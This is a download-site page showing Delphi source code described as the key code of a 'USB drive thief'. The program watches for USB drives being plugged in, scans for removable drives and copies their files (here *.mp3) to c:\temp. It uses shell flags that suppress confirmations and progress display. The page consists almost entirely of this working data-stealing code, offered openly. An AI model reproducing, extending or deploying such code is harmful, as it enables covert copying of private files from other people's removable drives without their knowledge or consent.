⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.~pas

📁 U盘大盗的关键代码
💻 ~PAS
字号:
unit main;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,ShellApi;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure WMDeviceChange( var Msg:Tmessage);message WM_DEVICECHANGE ;
  end;
const
   BDT_DEVICEARRIVAL=$8000;   //U盘插上时的消息
type
  TU_drive=array[1..24] of integer;// 保存 U盘的数字符号
var
  Form1: TForm1;
  U_cnt: integer;  //U 盘个数;
  U_drive:TU_drive;

implementation

{$R *.dfm}
{---------文件复制函数----------}
  procedure Xcopy(ToDir,FromDir:String);
  var
    OpStruc:TSHFileOpStruct;  //声明一个TSHFileOpStruct 类型, 在ShellApi.pas 里
    FromBuf,ToBuf: Array[0..128] of char;
  begin
      FillChar(FromBuf,sizeof(FromBuf),0);
      FillChar(ToBuf,sizeof(ToBuf),0);
      StrPCopy(FromBuf,FromDir+'*.mp3');     //
      StrPCopy(ToBuf,ToDir);
      with  OpStruc do
      begin
         Wnd:=form1.Handle ;
         wFunc:=FO_COPY; //执行拷贝操作
         pFrom:=@FromBuf;
         pTo:=@ToBuf;  //FOF_SILENT or FOF_NOCONFIRMMKDIR or
         fFlags:= FOF_SILENT or FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION ;
               //不带进度条     直接建立文件夹       一切询问以 YES 回答
         fAnyOperationsAborted:=False;
         hNameMappings:=Nil;
         lpszProgressTitle:=Nil;
      end;
      ShFileOperation(OpStruc);// 调用API函数,完成操作
      showmessage('copying');
  end;


{----------- 初始话 ------------}
  procedure  init();
  var
    i:integer;
  begin
    U_cnt:=0;
    for i:=1 to 24 do
      U_drive[i]:=0;
  end;

{---------- ↓判断是否为U盘 ↓--------}

  function isudriver( num:integer): boolean;
  var
    Drive:string;
    DriveType: WORD;
  begin
    Drive:= char(ord('A') + num) + ':\';
    DriveType:=GetDriveType(Pchar(Drive));
    if DriveType=DRIVE_REMOVABLE then
      result:=true
    else
      result:=false;
  end;

{----------↓本地盘扫描 ↓------------}
procedure scan();
 var
   i:integer;
 begin
    init(); //初始化,避免重复记数
    for i:=3 to 25 do      //从D 盘开始扫描
      begin
         if isudriver(i) then
           begin
             U_cnt:=U_cnt + 1;
             U_drive[U_cnt]:=i;   //将盘符的数字代号保存
           end;
      end;
 end;

{-------------  test  -----------------}
procedure TForm1.Button1Click(Sender: TObject);
var
  i:integer;
  str:string;
begin
  scan();
  i:=U_drive[1];
  form1.Caption:=inttostr(U_cnt) + ' 个盘,该盘为' + char(i + ord('A') );
  str:=char(i+ord('A'));
  Xcopy('c:\temp', pchar(str+ ':\'));
end;
 {-----------↓ 初始化 ↓-----------}
procedure TForm1.FormCreate(Sender: TObject);
begin
   init();
end;
{----------↓ U盘插入事件 ↓ ----------}
  procedure TForm1.WMDeviceChange(var Msg:Tmessage);
  var
    i:integer;
    str:string;
  begin
    inherited; //什么意思?
    case Msg.WParam of
        BDT_DEVICEARRIVAL:       // U 盘插上事件
           begin
             form1.Tag:=form1.Tag+1;
             form1.Caption:=inttostr(form1.tag);
             if form1.tag mod 3=0 then
               begin
                 scan();
                 if U_cnt>0 then
                   for i:=1 to U_cnt do
                     begin
                     str:=char(U_drive[i]+ ord('A'));  //取盘符
                     showmessage('begin copy '+ str);
                     Xcopy('c:\temp', pchar(str+ ':\'));
                     showmessage('end of copy!');
                     end;
               end;
           end;
    end;  // end of case
 end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -